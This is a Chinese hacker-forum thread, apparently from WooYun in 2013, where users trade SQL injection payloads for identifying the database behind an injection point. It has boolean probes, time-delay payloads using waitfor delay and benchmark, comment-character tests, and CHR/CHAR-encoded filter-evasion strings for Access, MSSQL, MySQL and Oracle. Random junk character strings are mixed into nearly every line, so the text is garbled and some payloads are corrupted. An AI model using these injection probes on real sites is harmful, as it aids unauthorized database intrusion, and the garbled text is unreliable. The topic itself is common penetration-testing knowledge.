一个注射点如何最快速确认是什么类型数据库
4 }3 s# V6 S) e3 _: ?9 Fxsser (十根阳具有长短!!) | 2013-02-05 12:36
+ k3 a! Z* Z- p5 x- p8 s( a3 b假设这么一个注射点:$ x E! h0 U# k' Q$ Q* k
show.html?id=2
- X, P I4 J2 p/ \1 F+ nmysql:id=2 and version()>0
( q3 _5 R% |% ^0 Toracle:id=2 and '1'||'1'='11
0 ~- _9 L# W/ V! h, P+ q其他的欢迎补充
- K; k; W, m6 T2 f* d8 y1#: o0 |% G! x) ?% Z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
1 g d. w' U4 \Access:
6 x* J8 d+ A, Z2 }, \/ |( \aNd aSc(cHr(97))=97
6 L/ J$ k) ^4 }and exists(select id from MSysAccessObjects)8 X% W( C& J! {( l# k
SQL Server:: [9 e* | p+ a( q& ~2 o
and exists(select id from sysobjects)9 @; c: ^! c/ r0 V0 H2 g: J
and length(user)>0$ h# }, A8 F7 t" u9 A3 r8 J$ C' _4 X
MySQL:# p! G% ^1 P& i* s4 k
and length(user())>0
8 w% e, |, J* q" j- X) Y7 c) g2#
! e/ j' \ I4 v( a" Axsser (十根阳具有长短!!) | 2013-02-05 12:48
& Z& t/ S2 I# W4 r: c@upload 如果这些都不是呢…& h4 O. |* l6 J# {4 j+ J. b6 |, f
3#) ]+ f2 h8 u- X- P
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
' r! X( C- ?. o$ z2 j@xsser 不快速的,延时注入0 o$ h7 n; K0 z( \/ O
不知道这样写对不对
, q2 C( }% V- ~! g1 Z% G8 R5 a; dmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'% ] e5 T' L% e$ @3 D
mysql:id=2 and select benchmark(1e8,current_date()); h' o. `; P5 h: V4 s
4#6 \ G/ O, S# f, {7 }
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
; H% D$ u w: d! l# ~最快的貌似是看报错信息# _+ L+ A4 M9 g' B" t
oracle error% O% F& h8 e. }
mssql error. B. @8 s, c) c$ p( b& o8 W6 h
mysql error1 `5 d% ^: L9 T# h* t- y
5#: ^2 W8 j5 D( u/ e7 O* Y
Nimda (你们都是坏银~) | 2013-02-05 13:14- K6 V ~5 i; l
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)5 g* q& j2 ]8 r
6#
0 h5 ?% |! }8 |5 d9 l' Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
5 \- }, W2 `. n: L“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
3 ?+ W8 d i7 L) _4 L9 C“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
& @! c' B' L: t1 D/ m“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
: K( c, h$ v7 B' `+ x7 Y7#2 x; I) e5 v: t# ?
_Evil (HackEnd) | 2013-02-05 13:33: P4 n8 y! C& w. b% ` h
PostgreSQL8 J* V8 L9 \% q" G
8#* I- z4 K; s3 j- ?: H
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
3 k( A! O, w" s8 |9 M2 Y7 j切换编码 and 1=1
& {0 u% |! b' K l P1 ^! b; X5 ^oracle:0 c$ o& a& j% _# l8 S! u: y
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
. t# w. ^" F! k% l* I1 r$ ]mssql: B; ]9 r) E# G2 C
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
8 U: s* w0 y" B2 M% k, X/ nmysql:! i- c3 ]9 H9 V2 O: f
CHAR(97, 110, 100, 32, 49, 61, 49) T/ E9 h3 V h! u5 V+ ^6 |
9#
6 ~# p& x4 R+ O6 W4 W# l4 \% }: \xsser (十根阳具有长短!!) | 2013-02-05 14:31
' v6 Y6 @2 c- @- _@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?' |- g9 d& z$ z! r7 p4 `! c
10#
' `; c, |# L4 L! g' iupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46, `$ G' T7 \* @# ]1 E
@xsser 是奇葩数据库类型的么?
c9 v; M& G& T8 Q: c- C, ]根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
/ W3 ]" Z3 L' G/ t1.是否可以使用特定的函数来判断,该数据库特有的3 h% H/ p, M' \# v Q
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
: c& \0 O, L" j0 B7 e l- f: C3.是否可以编码查询. `0 k& Z6 I. h! H! h
4.是否显可以利用错信息+ z' |( S1 B2 ]
5.是否存在数据库某些特性辅助判断
' j& a( |9 Z. S) V个人见解1 w8 _9 P& c0 V0 O& z; f
11#
! t" K" e \" e: {4 P小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:550 h, S# k1 c9 _8 W
已收藏,mssql可以直接看到错误提示的吧~
1 c: E* k1 y( `# W- ]12#
# [" g! j2 a# S. R2 y0 WPasser_by | 2013-02-05 15:09
9 o3 \! S6 I! z; f: }; Y曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
8 u) O4 h' x: M5 ]- Q: B/ H. t& tfrom:http://zone.wooyun.org/content/260 |